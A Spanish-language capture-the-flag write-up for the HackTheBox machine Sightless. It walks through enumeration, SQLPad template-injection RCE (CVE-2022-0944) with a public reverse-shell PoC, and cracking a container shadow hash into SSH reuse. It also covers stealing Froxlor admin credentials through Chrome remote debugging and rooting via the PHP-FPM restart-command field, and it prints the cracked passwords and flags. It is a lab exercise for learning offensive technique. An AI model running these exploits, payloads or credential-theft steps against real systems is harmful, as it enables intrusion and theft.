Sightless
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Sightless es una máquina Linux fácil. La web del puerto 80 enlaza a un servicio SQLPad (versión 6.10.0) en un subdominio. Esa versión es vulnerable a CVE-2022-0944, una inyección de plantillas en el endpoint de prueba de conexión que da RCE; el exploit nos suelta una shell comoroot, pero dentro de un contenedor Docker. En el/etc/shadowdel contenedor está el hash del usuariomichael; lo crackeamos conjohny, como reutiliza la contraseña, entramos por SSH al host real y cogemosuser.txt. Pararootmontamos un túnel SSH hacia un Froxlor interno y, abusando del depurador remoto de Chrome que corre en la máquina, capturamos las credenciales de administrador de Froxlor. Desde su panel, el campo de comando de reinicio de PHP-FPM se ejecuta comorooty nos da la última flag.
Reconocimiento
Escaneo inicial
Tras el ping (TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Hay tres puertos abiertos: 21 (FTP), 22 (SSH) y 80 (HTTP).
Antes de lanzar nada, un directorio de trabajo con las cuatro carpetas de siempre, para que cada cosa acabe en su sitio y no en el ~:
mkt () {
mkdir -p {content,nmap,scripts,exploits}
}
cd machines/Sightless
ls
content exploits nmap scriptsEl escaneo completo va dentro de la función jmap, que pide la IP y aplica las opciones de siempre, guardando el resultado en un fichero scan:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}
nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.32 -oG scan
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63El servidor web del 80 redirige a un nombre de host (sightless.htb), así que hay virtual hosting. Lo añadimos a /etc/hosts apuntando a la IP.
El fichero queda escrito en el directorio nmap:
ls
scanY de ahí lo lee extractPorts, que extrae la IP y los puertos, los copia al portapapeles y de paso imprime lo extraído:
extractPorts () {
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo "$ports" | xclip -sel clip
}
extractPorts scan
Extracting information ...
IP Address: 10.10.11.32
Open ports: 21,22,80
Ports copied to clipboardLa segunda pasada, con detección de versión y scripts, va en jmap2, que solo necesita la IP y los puertos que acaban de quedar en el portapapeles:
jmap2 () {
if [ "$#" -ne 2 ]; then
echo "Uso: jmap2 <ip> <puertos>"
return 1
fi
nmap -p"$2" -sCV "$1"
}
jmap2 10.10.11.32 21,22,80
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Sightless.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEl banner del FTP es el que regala el dominio: sightless.htb, que hay que llevar al /etc/hosts para que el 80 responda con algo más que su página por defecto.
echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.32 sightless.htbPerfilamos la tecnología del 80 con whatweb: un nginx sirviendo una web corporativa. Más allá de un correo de contacto que confirma el dominio, no hay gran cosa.

El código fuente tampoco esconde comentarios ni rutas internas, pero sí confirma el correo de contacto y que la web es estática, sin framework:

<title>Sightless.htb</title>
<link rel="stylesheet" href="style.css">
<h4>Hello,we are</h4>
<h1> <span>Sightless</span>.htb</h1>
<a href="mailto:sales@sightless.htb" class="btn" style="color: black;"> Get In Touch</a>La web y el subdominio de SQLPad
La portada es una web sencilla de una empresa de servicios, sin panel de autenticación ni funcionalidad sensible a la vista.

En la sección Our Services aparece, sin embargo, una pista clave: uno de los servicios es SQLPad (un editor web para lanzar consultas SQL contra bases de datos). El enlace apunta a un subdominio, sqlpad.sightless.htb.

Añadimos también ese subdominio a /etc/hosts y lo visitamos. SQLPad nos sitúa directamente en su editor de consultas, pero ejecutar cualquier query exige una conexión configurada que no tenemos.
echo '10.10.11.32 sqlpad.sightless.htb' | sudo tee -a /etc/hosts
SQLPad
SQLPad is a web app that lets users connect to various SQL servers via a browser.
Click "Start Now" to try a demo!
[ Start Now ]Ese Start Now apunta a sqlpad.sightless.htb, un subdominio que también hay que resolver:
sudo nano /etc/hosts
10.10.11.32 sightless.htb sqlpad.sightless.htb
10.10.11.32 sqlpad.sightless.htbEn sqlpad.sightless.htb/queries/new se ve el editor de SQLPad (barra Queries · New · History · Connections · Access) con una consulta nueva sin guardar y el desplegable choose connection vacío: no hay conexión configurada, así que no se puede lanzar SQL todavía.
Lo que el fuzzing no encontró (y por qué importa)
El subdominio ha salido leyendo la web, no fuzzeando, y merece la pena enseñar el camino largo porque explica una trampa habitual. El barrido de rutas del dominio principal saca una sola cosa:
dirsearch -u http://sightless.htb
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://sightless.htb/
[16:06:38] 301 - 178B - /images -> http://sightless.htb/images/
[16:06:39] 403 - 564B - /images/
Task CompletedUn /images y un 403 al listarlo. Repetimos con un diccionario mucho mayor por si el pequeño se quedaba corto:
gobuster dir -u http://10.10.11.32 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 500 -b 302
Progress: 1273832 / 1273833 (100.00%)
Finished1 273 833 palabras y cero resultados. Con las rutas agotadas, el siguiente candidato son los subdominios, así que fuzzeamos por cabecera Host:
gobuster vhost -u http://10.10.11.32 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 500
Starting gobuster in VHOST enumeration mode
Progress: 114441 / 114442 (100.00%)
FinishedNada tampoco. Y aquí está el punto interesante: cuando una herramienta no encuentra nada hay dos explicaciones posibles, que no haya nada o que la estemos usando mal, y conviene descartar la segunda antes de sacar conclusiones. La comprobación es sencilla: se fabrica un diccionario de cinco palabras que incluya a propósito el subdominio que ya conocemos y se vuelve a lanzar el fuzzer.
ffuf -c -w hola.txt -u http://FUZZ.sightless.htb
:: Wordlist : FUZZ: /home/krmena/hola.txt
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
sqlpad [Status: 200, Size: 722, Words: 64, Lines: 22, Duration: 95ms]
:: Progress: [5/5] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00]La técnica funciona perfectamente. Luego el problema no era el fuzzing, sino el diccionario, y eso se comprueba en un segundo:
cat /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt | grep "sqlpad"
cat /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt | grep "sqlpad"
(sin salida en ninguno de los dos)Ninguno de los dos diccionarios contiene la palabra sqlpad, así que era imposible llegar al subdominio por fuerza bruta con ellos. La lección práctica es doble: la enumeración no es solo fuerza bruta (leer lo que la propia aplicación cuenta de sí misma habría ahorrado horas), y un resultado vacío nunca es una prueba de ausencia, solo dice que lo buscado no estaba en la lista. Como apunte, en este caso concreto también quedó pendiente probar --append-domain en gobuster vhost, que cambia la forma en que se construye cada cabecera Host.
Shell como root (en el contenedor)
SQLPad 6.10.0 y CVE-2022-0944
El panel entra sin pedir credenciales y deja escribir consultas, pero sin ninguna conexión configurada no hay nada contra lo que lanzarlas:

SQLPad Queries New History Connections Access
... choose connection New unsaved query [ Run ]Lo importante de SQLPad no es ejecutar SQL, sino su versión, porque es lo que decide si hay vector o no. Encontrarla cuesta más de lo que parece: ni whatweb ni nmap la dicen. El siguiente intento es buscar algún recurso que la delate, tipo un CHANGELOG, barriendo rutas dentro del propio subdominio:
dirsearch -u http://sqlpad.sightless.htb
[21:09:59] 404 - 21B - /api/swagger.json
[21:09:59] 404 - 21B - /api/profile
[21:09:59] 404 - 21B - /api/v1
[21:09:59] 404 - 21B - /api/version
[21:09:59] 404 - 21B - /api/whoamiAparecen decenas de rutas de API, y una de ellas se llama literalmente /api/version. El problema es que todas responden 404 con el mismo cuerpo de 21 bytes, y al pedirla a mano se ve por qué:
curl http://sqlpad.sightless.htb/api/version
{"title":"Not found"}Un 404 con cuerpo JSON, no una página de error del servidor: la API existe y responde, pero no atiende a un cliente sin sesión. Vía cerrada. Y después de todo el rodeo, la versión estaba a un clic de distancia en el cuadro About del propio panel: 6.10.0.
El cuadro está donde nadie mira, en el menú de tres puntos de la esquina superior derecha:


Esa versión es vulnerable a CVE-2022-0944: una inyección de plantillas (template injection) en el endpoint de prueba de conexión. SQLPad renderiza algunos campos de la conexión como plantillas EJS, y al inyectar una expresión de plantilla podemos saltar a ejecución de código en el servidor. Afecta a todas las versiones anteriores a la 6.10.1.

Explotación: template injection a RCE
La técnica consiste en crear (o probar) una conexión cuyos campos contengan una expresión de plantilla que, al renderizarse, alcance child_process de Node y ejecute un comando. Existe una PoC pública que automatiza el proceso y devuelve una reverse shell; le pasamos la URL de SQLPad y nuestra IP/puerto de escucha.
git clone https://github.com/shhrew/CVE-2022-0944
cd CVE-2022-0944
# (la plantilla inyectada alcanza: process.mainModule.require('child_process').exec(<cmd>))
python3 main.py -u http://sqlpad.sightless.htb -i 10.10.16.x -p 443Recibimos la shell. Al mirar quiénes somos y dónde estamos, vemos que somos root... pero el hostname es un identificador hexadecimal y la IP es 172.17.0.2: estamos dentro de un contenedor Docker, no en el host.
whoami # root
hostname -I # 172.17.0.2
hostname # c184118df0a6git clone https://github.com/shhrew/CVE-2022-0944.git
Cloning into 'CVE-2022-0944'...
remote: Total 11 (delta 2), reused 8 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (11/11), 4.08 KiB | 2.04 MiB/s, done.cd CVE-2022-0944
ls
LICENSE README.md main.py requirements.txtEl requirements.txt es la razón de que el exploit no arranque a la primera:
python3 main.py
Traceback (most recent call last):
File "main.py", line 4, in <module>
from pwn import *
ModuleNotFoundError: No module named 'pwn'pip3 install -r requirements.txt
Collecting bcrypt==4.2.0 (from -r requirements.txt (line 1))
Downloading bcrypt-4.2.0-cp39-abi3-manylinux_2_28_x86_64.whl.metadata (9.6 kB)
Collecting capstone==5.0.3 (from -r requirements.txt (line 2))
Downloading capstone-5.0.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.met
Collecting certifi==2024.8.30 (from -r requirements.txt (line 3))
Downloading certifi-2024.8.30-py3-none-any.whl.metadata (2.2 kB)
Collecting cffi==1.17.1 (from -r requirements.txt (line 4))Con las dependencias puestas, el exploit recibe la URL de SQLPad y el par IP/puerto del listener:
python3 main.py http://sqlpad.sightless.htb 10.10.15.39 4444
[+] Trying to bind to 10.10.15.39 on port 4444: Done
[+] Waiting for connections on 10.10.15.39:4444: Got connection from 10.10.11.32 on port 44086
[*] Switching to interactive mode
/bin/sh: 0: can't access tty; job control turned off
#
# whoami
root
# hostname -I
172.17.0.2
# hostname
c184118df0a6El whoami da root, pero el hostname (un ID hex de contenedor) y la IP 172.17.0.2 confirman que estamos dentro de un contenedor Docker, no en el host.
Shell como michael (en el host)
El hash de michael en /etc/shadow
Lo primero dentro del contenedor es el barrido automático de siempre. Servimos linpeas.sh (repo) desde nuestra máquina y lo ejecutamos:
La shell llega sin TTY (can't access tty), así que lo primero es el tratamiento habitual:
script /dev/null -c bash
# script /dev/null -c bash
Script started, file is /dev/null
root@c184118df0a6:/var/lib/sqlpad#El hostname c184118df0a6 es el identificador corto de un contenedor, así que ya sabemos dónde estamos: dentro de un Docker, no en el host.
python3 -m http.server 80wget http://10.10.15.39/linpeas.sh
--2024-09-09 20:35:40-- http://10.10.15.39/linpeas.sh
Length: 823059 (804K) [text/x-sh]
2024-09-09 20:35:41 (1.62 MB/s) - 'linpeas.sh.1' saved [823059/823059]
10.10.11.32 - - [09/Sep/2024 22:03:50] code 404, message File not found
10.10.11.32 - - [09/Sep/2024 22:05:16] "GET /linpeas.sh HTTP/1.1" 200 -Los 404 de la derecha son el error clásico de levantar el http.server en un directorio y pedir el fichero desde otro; se resuelve arrancándolo donde está el script.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
LinPEAS-ng by carlospolop
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)Ese YOU ARE ALREADY ROOT resume la situación: somos root, pero de un contenedor.
El informe de linpeas no destapa nada aprovechable: ni SUID raros, ni capacidades, ni un montaje del socket de Docker que permita una fuga directa del contenedor. Es un resultado negativo, pero cambia el plan: si la salida no está en el contenedor, hay que buscar algo que sirva fuera. Y ahí es donde vuelve a la cabeza un dato del escaneo inicial, que el host tiene SSH abierto. Un /etc/shadow no es solo una lista de hashes del contenedor: puede ser la llave del host, si alguien reutiliza la contraseña.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bashDentro del contenedor hay un usuario michael, y ese nombre es el que hay que cruzar con el host.
cat /etc/shadow
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWa...:19860:0:99999:7:::Además de root, hay un usuario michael con un hash de contraseña (formato $6$, SHA-512).
Crackear el hash y entrar por SSH
Para crackearlo con john conviene primero combinar /etc/passwd y /etc/shadow con unshadow (así john reconoce el usuario y el hash juntos), y luego atacar con rockyou.txt.
unshadow passwd.txt shadow.txt > unshadowed.txt![]()
(unshadow no imprime nada: escribe el resultado en unshadowed.txt)unshadow no da salida por pantalla, simplemente vuelca en el fichero de destino cada usuario de /etc/passwd con el hash que le corresponde en /etc/shadow, que es el formato que john espera. Con eso ya se puede atacar el diccionario:
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
insaneclownposse (michael)
1g 0:00:00:07 DONE ...La contraseña es insaneclownposse. Como michael también existe en el host y reutiliza la misma contraseña, la usamos para entrar por SSH al sistema real (saliendo del contenedor) y leer la primera flag.
ssh michael@10.10.11.32
# password: insaneclownposse
cat user.txt
michael@sightless:~$ cat user.txt
5268ebde80987a98cd86137283ad7fc2Shell como root
Túnel hacia el Froxlor interno
Enumerando el host (procesos, puertos en escucha) aparecen servicios que solo escuchan en localhost: un panel Froxlor (gestión de hosting) en el 8080 y un puerto auxiliar 44077 que necesita para funcionar. Como no son accesibles desde fuera, montamos un reenvío de puertos por SSH para traerlos a nuestra máquina.
ssh -L 8080:127.0.0.1:8080 -L 44077:127.0.0.1:44077 michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Wed Sep 11 15:24:29 2024 from 10.10.15.39
michael@sightless:~$Robar la sesión por Chrome remote debugging
En el host corre un Chrome en modo headless con depuración remota (lo delata el puerto auxiliar): un proceso automatizado que, cada poco, abre Froxlor e inicia sesión como administrador. El protocolo de depuración de Chrome permite inspeccionar y controlar ese navegador desde chrome://inspect. Configuramos ahí los puertos reenviados como objetivo de descubrimiento.
chrome://inspect/#devices -> Configure... -> 127.0.0.1:8080 y 127.0.0.1:44077
En el diálogo Target discovery settings se añaden los dos puertos reenviados, y en cuanto se aceptan aparecen las pestañas remotas: dos instancias de Froxlor abiertas en admin.sightless.htb:8080/admin_logger.php?page=log.

Target discovery settings
localhost:9222
localhost:9229
127.0.0.1:8080
127.0.0.1:44077
Remote Target #127.0.0.1
Froxlor http://admin.sightless.htb:8080/admin_logger.php?page=log
inspect pause focus tab reload closePulsando inspect se abre un DevTools sobre el navegador de la víctima. Con la pestaña Network grabando, solo hay que esperar a que el proceso automatizado vuelva a iniciar sesión: la petición del formulario lleva los campos en claro.

index.php -> Form Data
loginname: admin
password: ForlorfroxAdmin
dologin:Ahí están las credenciales de administrador de Froxlor: admin : ForlorfroxAdmin. Con ellas entramos al panel a través de nuestro túnel:

Abusar de PHP-FPM en Froxlor
Ya dentro del panel (Froxlor 2.1.8), la sección PHP → PHP-FPM versions enseña de qué va el asunto:

PHP-FPM versions (1)
Short description | In use for php-config(s) | php-fpm restart command | Configuration directory of php-fpm | Process manager control (pm)
System default | Default Config | service php8.1-fpm restart | /etc/php/8.1/fpm/pool.d/ | dynamic
| Froxlor Vhost ConfigEse campo, "php-fpm restart command", guarda literalmente el comando que el panel ejecuta como root cada vez que recarga la configuración de PHP-FPM. En la configuración legítima es un service php8.1-fpm restart, pero nada impide que sea otra cosa: es ejecución de comandos directa, solo que a través de un formulario.
Hay una restricción práctica: no pueden coexistir dos configuraciones con el mismo Configuration directory of php-fpm, así que la nueva versión se crea con un directorio distinto del que ya usa la del sistema (/etc/php/8.1/... frente a /etc/php/7.4/...). Con eso, creamos una versión cuyo comando de reinicio copie la flag a una ruta que podamos leer:

Create new PHP version
php-fpm restart command * cp /root/root.txt /tmp/root.txt
Configuration directory of php-fpm * /etc/php/7.4/fpm/pool.d/
Process manager control (pm) static
The number of child processes 5Guardar no basta: el comando solo se lanza cuando el panel recarga PHP-FPM. El interruptor está en admin_settings.php?page=overview&part=phpfpm:

Settings » PHP-FPM
Enable php-fpm [ON]
Default PHP configuration for new domains Default Config
Temp directory /var/customers/tmp/
Use mod_proxy / mod_proxy_fcgi [OFF]Se desactiva y se guarda:

Y acto seguido se vuelve a activar y se guarda otra vez. Ese ciclo dispara el "restart command" como root. (Si los cambios no parecen aplicarse, cerrar sesión y volver a entrar tras cada paso ayuda.) Comprobamos el resultado desde la shell de michael:
ls /tmp
michael@sightless:/tmp$ ls
1 Crashpad root.txt shell systemd-private-... tmux-1000 vmware-root_787-4290625459La copia ha funcionado, pero el fichero sigue perteneciendo a root con sus permisos originales, así que michael todavía no puede leerlo. Se repite la jugada con una segunda configuración que le abra los permisos:

Create new PHP version
php-fpm restart command * chmod 644 /tmp/root.txt
Configuration directory of php-fpm * /etc/php/7.4/fpm/pool.d/
Short description | In use for php-config(s) | php-fpm restart command | Configuration directory of php-fpm
pwned | Configuration not in use | chmod 644 /tmp/root.txt | /etc/php/7.4/fpm/pool.d/
System default | Default Config | chmod 777 /etc/passwd | /etc/php/8.1/fpm/pool.d/
| Froxlor Vhost ConfigMerece la pena fijarse en la fila de abajo: la configuración System default tiene como comando de reinicio un chmod 777 /etc/passwd, que es el rastro del propio autor de la máquina probando el vector. Tras el ciclo de desactivar y activar, el chmod se ejecuta como root y la flag queda legible. Máquina rooteada.
Tras repetir el ciclo de desactivar y activar, el chmod se ejecuta y el fichero queda legible:
ls -l /tmp
cat /tmp/root.txt
michael@sightless:/tmp$ ls -l
-rw-r--r-- 1 root root 33 Sep 11 15:45 root.txt
michael@sightless:/tmp$ cat root.txt
53ecabf4760747767f5de1ab315cbb7d
Cadena de ataque
HTTP sightless.htb (80) ─► Our Services: SQLPad ─► sqlpad.sightless.htb
│
▼
SQLPad 6.10.0 ─► CVE-2022-0944 (template injection) ─► RCE
│
▼
shell root EN CONTENEDOR Docker (172.17.0.2)
│ /etc/shadow
▼
hash de michael ─► unshadow + john ─► insaneclownposse
│ reutilización de credenciales (SSH al host)
▼
michael @ host ─► user.txt
│ port forwarding 8080/44077
▼
Froxlor interno + Chrome remote debugging ─► credenciales admin de Froxlor
│ campo "php-fpm restart command" (se ejecuta como root)
▼
RCE como root ─► root.txtLecciones aprendidas
- Una pista en la web vale más que mil diccionarios. El subdominio de SQLPad no aparecía fuzzeando (los diccionarios no contenían "sqlpad"); se descubría leyendo la sección Our Services de la propia web. La enumeración no es solo fuerza bruta: hay que leer lo que la aplicación cuenta de sí misma.
- La versión de un servicio es media explotación. Identificar SQLPad 6.10.0 llevó directo a CVE-2022-0944. Exponer versiones en paneles About o cabeceras facilita el trabajo al atacante; mantener el software por encima de la 6.10.1 lo habría cerrado.
- Un contenedor comprometido filtra credenciales del host. Ser
rooten el contenedor permitió leer su/etc/shadow; comomichaelreutilizaba la contraseña en el host, el "aislamiento" de Docker no sirvió de nada. Credenciales distintas por entorno habrían contenido el salto. - Los servicios internos no son invisibles. Froxlor solo escuchaba en localhost, pero un túnel SSH lo trajo a nuestra máquina. "Solo accesible en local" deja de ser una protección en cuanto alguien tiene una shell.
- Automatizar un login deja la sesión expuesta. Un Chrome con depuración remota que se logueaba solo en Froxlor entregó sus credenciales a quien supiera mirar. Y un panel que ejecuta comandos arbitrarios como
root(el "restart command" de PHP-FPM) convierte cualquier acceso de administrador en control total del sistema.